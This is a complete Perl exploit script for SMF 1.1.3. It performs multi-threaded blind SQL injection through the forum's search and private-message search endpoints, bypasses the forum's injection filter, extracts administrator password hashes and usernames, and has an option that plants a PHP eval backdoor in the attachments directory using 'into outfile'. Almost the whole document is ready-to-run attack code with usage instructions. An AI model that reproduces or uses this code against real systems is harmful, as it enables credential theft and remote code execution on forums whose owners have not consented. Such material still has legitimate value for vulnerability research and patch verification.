#!/usr/bin/perl #Written By Michael Brooks #contact: th3(dot)r00k(at)gmail(dot)com #SMF 1.1.3 Extremely fast Blind SQL Injection Exploit! # -Binary Search # -Multi-Threaded # -NO benchmark()'s # #Two SQL Injection flaws. #Works with magic_quotes_gpc=On or Off. #Total Bypass of SMF's SQL Injection filter. #I submitted a patch for these flaws: #http://www.simplemachines.org/community/index.php?topic=196380.0 #I would like to thank RetroGod for being so skilled and willing to help me out. #**Warning** perl will somtimes seg fault when useing threads. #Tested Under Linux use LWP::UserAgent; use threads; use Thread::Semaphore; #global variables my $threads=1; my $semaphore = new Thread::Semaphore; my $globPos : shared=1; my $oper : shared; my @result : shared; my $target; my $cookie=false; $type="sleep"; main();#execute main sub main{ $n=$threads; $u=$p=$b=1; $start_time=time; $e=1; #Process arguments passed by the command line. for($v=0;$v<=$#ARGV;$v++){ if(substr($ARGV[$v],0,1) eq '-'){ $var=substr($ARGV[$v],1); $$var=$ARGV[$v+1]; } } @t=split('\?',$t); @t=split('index.php',@t[0]); $target=@t[0]; if(index($target,"/",length($target)-1)==-1){ $target=$target.'/'; } if($e!=1){ print "\nExample:\n"; print "\nbrooks@TheLab:~/code/exploits\$ ./smf_blind_sql.pl -p -u admin -t http://127.0.0.1/smf_1-1-3/index.php -n 4 -c SMFCookie218=a%3A4%3A%7Bi%3A0%3Bs%3A1%3A%222%22%3Bi%3A1%3Bs%3A40%3A%22091feddbd31bfa96932a5e4e6c34cb36f2686c1a%22%3Bi%3A2%3Bi%3A1378168836%3Bi%3A3%3Bi%3A1%3B%7D \n\nSMF Is Vulnerable! Finding Password Hash for the Name: 'admin' Please Standby... Password Hash: 1d94709528bb1c83d08f3088d4043f4742891f4f This attack used 161 HTTP requests and took 8 seconds to complete. EOF\n\n"; die(); } $cookie=$c; $user=$u; if($n != 1){ $threads=$n; } #Check to make sure the target is vulnerable if($b!=1||$p!=1){ $vulnerable=1; #Yes I am assuming the default table prefix, its a shame you can't access information_schema. #No prefix is needed for the non-cookie attack becase I do not need a union select or sub-select! bin_finder(2,1,"1","smf_members","and 1!=1"); if(int(@result[0])!=0){ $vulnerable=0; } $globPos=1; bin_finder(2,1,"1","smf_members","and 1=1"); if(int(@result[0])!=1){ $vulnerable=0; } if($vulnerable==1){ print "SMF Is Vulnerable!\n" }else{ print "\nATTACK FAILED!\n\n"; if($cookie){ print "Try sending a private message to your self or SMF might be patched.\n" }else{ print "The non-cookie attack requires MySQL 5 so try using the exploit with -c or SMF might be patched.\n" } die(); } } $m=0; if($p!=1){ if($user != 1){ print "Finding Password Hash for the Name: '$user'\n Please Standby...\n"; for(my $x=0;$x<$threads;$x++){ #@threads[$x]=new threads \&bin_finder,16,40,"(conv(SUBSTRING(passwd,%s,1),16,10))=%s", "smf_members"," and memberName = '".$user."'"; @threads[$x]=new threads \&bin_finder,16,40,"conv(SUBSTRING(passwd,%s,1),16,10)", "smf_members"," and memberName =". hex_encode($user); } for(my $x=0;$x<$threads;$x++){ @threads[$x]->join; } print "\nPassword Hash:\n"; foreach $y (@result){ print sprintf("%x",$y); } }else{# print "Finding An Administrative Credental.\n Please Standby...\n"; #bin_finder(128 ,1,"count(memberName)","smf_members"," and ID_GROUP=1 ");#single thread #$admin_count=@result[0]; #$globPos=1; #print "There are $admin_count admins on this forum.\n"; #for($a=0;$a<$admin_count;$a++){ for(my $x=0;$x<$threads;$x++){ @threads[$x]=new threads \&bin_finder,16,40,"conv(SUBSTRING(passwd,%s,1),16,10)", "smf_members"," and ID_MEMBER=1 "; } for(my $x=0;$x<$threads;$x++){ @threads[$x]->join; } print "\nPassword Hash:\n"; foreach $y (@result){ print sprintf("%x",$y); } $globPos=1; bin_finder(256,1,"char_length(memberName)","smf_members"," and ID_MEMBER=1 ");#single thread $name_len=@result[0]; $globPos=1; for($x=0;$x<$threads;$x++){ @threads[$x]=new threads \&bin_finder,128,$name_len,"ASCII(SUBSTRING(memberName,%s,1))", "smf_members"," and ID_MEMBER=1 "; } for($x=0;$x<$threads;$x++){ @threads[$x]->join; } print "\nName:\n"; for($l=0;$l<=$name_len;$l++){ print sprintf("%c",@result[$l]); } print "\n"; @result=null; $globPos=1; #} } }elsif($b!=1){ if(!$cookie){ die("\nA cookie is needed for this attack!\n"); } print "Determining the exact path to place the backdoor. \n Please standby...\n"; bin_finder(512,1,"char_length(value)","smf_settings"," and variable = 'attachmentUploadDir'");#single thread $length=@result[0]; $globPos=1; for(my $x=0;$x<$threads;$x++){ @threads[$x]=new threads \&bin_finder,128,$length,"ASCII(SUBSTRING(value,%s,1))", "smf_settings"," and variable = 'attachmentUploadDir'"; } for(my $x=0;$x<$threads;$x++){ @threads[$x]->join; } $path=''; print "Path Disclosed:"; foreach $y (@result){ $path.=sprintf("%c" ,$y); } print $path."\n"; #$path=~s/_/?/g;#This accounts for the search request being modfied by SMF. #$path=~s/%/*/g; $r=rand();#Random file name so the attack will succeed multiple times against the same target. my $ua = LWP::UserAgent->new; $ua->agent("Firebird"); $ua->default_header("Cookie"=>$cookie);#Its tricky to get double quotes for the outfile statement. $load="\\,union select ".hex_encode("").' into outfile "","'.$path.'/'.$r.'.php",""#'; $tst= $ua->post($target."?action=pm;sa=search2",["advanced"=>"1","search"=>"1","searchtype"=>"1","userspec"=>$load,"minage"=>"0","maxage"=>"9999","sort"=>"ID_PM%7Cdesc","submit"=>"Search"]); $oper++; print "\nEval Backdoor:\n".$target."attachments/".$r.".php?e=phpinfo();\n" }else{ $m=1; print "A Very Fast Blind Sql Injection Exploit for SMF 1.1.3.\n\n"; print "-p obtain passwords (if used without -u, then an admin credential will be obtained)\n"; print "-b installs a backdoor using 'into outfile'. (requires -c) **WARNING** SMF will log this as a single 'Hacking Attempt'!\n"; print "-t target\n"; print "-c A valid cookie(Much faster attack)\n"; print "\nAditional:\n"; print "-u obtains the password for a user name\n"; print "-n number of threads\n"; print "-e Shows an Example.\n"; print "The password hash is generated as:\n"; print "sha1(strtolower($username) . $password);\n\n"; } if($m!=1){ $t=time-$start_time; print "\nThis attack used $oper HTTP requests and took $t seconds to complete."; print "\nEOF\n"; } } #Takes complex input to build the request, returns a simple bool. sub bin_ask{ my $if = shift; my $table=shift; my $where = shift; my $ua = shift; my $f=0; if(!$cookie){ #no union select or sub-select needed for this attack! $a=time(); #die($where); #$where="and realName = ".hex_encode("admin"); $load="\"\\\",\" or (IF(".$if.",sleep(10),1) $where) limit 1,1 #\""; $load=~s/_/?/g;#This accounts for the search request being modfied by SMF. $load=~s/%/*/g; $tst= $ua->post($target."?action=search2",["advanced"=>"1","search"=>"1","searchtype"=>"1","userspec"=>$load,"minage"=>"0","maxage"=>"9999","sort"=>"relevance%7Cdesc","brd%5B1%5D"=>1,"submit"=>"Search"]); $page= $tst->content; #print "
page:".$page;die; $t= time(); #print "\n 1:time\n".$t."\n\n"; if($t-$a>=10){ $f=1; } }else{#%sunion select bypasses SMF's filter so i can use a sub-select in the following query. $load="\\,union select ".hex_encode("1)) or (1!=\"'\") and (select (IF((".$if."),true,false)) from ".$table." where 1 ".$where.") or (1!=\"'\") and pmr.ID_MEMBER = 1#'").' # ';#sql comments still work in SMF $tst= $ua->post($target."?action=pm;sa=search2",["advanced"=>"1","search"=>"1","searchtype"=>"1","userspec"=>$load,"minage"=>"0","maxage"=>"9999","sort"=>"ID_PM%7Cdesc","submit"=>"Search"]); $page= $tst->content; #print $page; die ; if(index($page,"No Messages Found")==-1){ $f=1; } } return $f; } #worker thread sub bin_finder{ my $base=shift; my $length=shift; my $question=shift; my $table=shift; my $where=shift; #One UserAgent object is used per thread. my $ua = LWP::UserAgent->new; $ua->agent("Firebird"); $ua->default_header("Cookie"=>$cookie); #binary search: while($globPos<=$length){ $semaphore->down; $c=$globPos; $globPos++; $semaphore->up; my $n=$base-1; my $low=0; my $floor= $low; my $high=$n-1; my $pos= $low+(($high-low)/2); my $f=1; while($low<=$high&&$f){ if(!$cookie){ $great="GREATEST(".sprintf($question,$c).",".$pos.")!=".$pos;#bypass the filter for the < and > characters $less ="LEAST(".sprintf($question,$c).",".$pos.")!=".$pos; }else{ $great=sprintf($question,$c).">".$pos; $less=sprintf($question,$c)."<".$pos; } if(bin_ask($great, $table,$where,$ua)){#asking the sql database if the current value is greater than $pos $oper++; if($pos==$n-1){#if this is true then the value must be the modulus. @result[$c-1]=$pos+1; #print "\nDBG found:$c:ascii:".sprintf('%c',$pos)."\n"; $f=0; }else{ $low=$pos+1; } }elsif(bin_ask($less, $table,$where,$ua)){#asking the sql database if the current value is less than $pos $oper++; if($pos==$floor+1){#if this is true the value must be zero. @result[$c-1]=$pos-1; #print "\nDBG found:$c:ascii:".sprintf('%c',$pos)."\n"; $f=0; }else{ $high=$pos-1; } }else{ #both greater than and less then where asked, so thats two http requests. $oper++; $oper++; @result[$c-1]=$pos; #print "\nDBG found:$c:ascii:".sprintf('%c',$pos)."\n";,, $f=0; } $pos=$low+(($high-$low)/2); } } } #hex_encode was ported from one of RetroGod's php exploits. #Thanks be to rGod for telling me about this encoding method on milw0rm's forum back when it was still up. #rGot you are leet! sub hex_encode{ my $my_string=shift; my $encoded="0x"; my $len=length($my_string); for ($k=0; $k<$len; $k++){ $temp=sprintf("%X",ord(substr($my_string,$k,1))); if (length($temp)==1) { $temp="0".$temp; } $encoded.=$temp; } return $encoded; }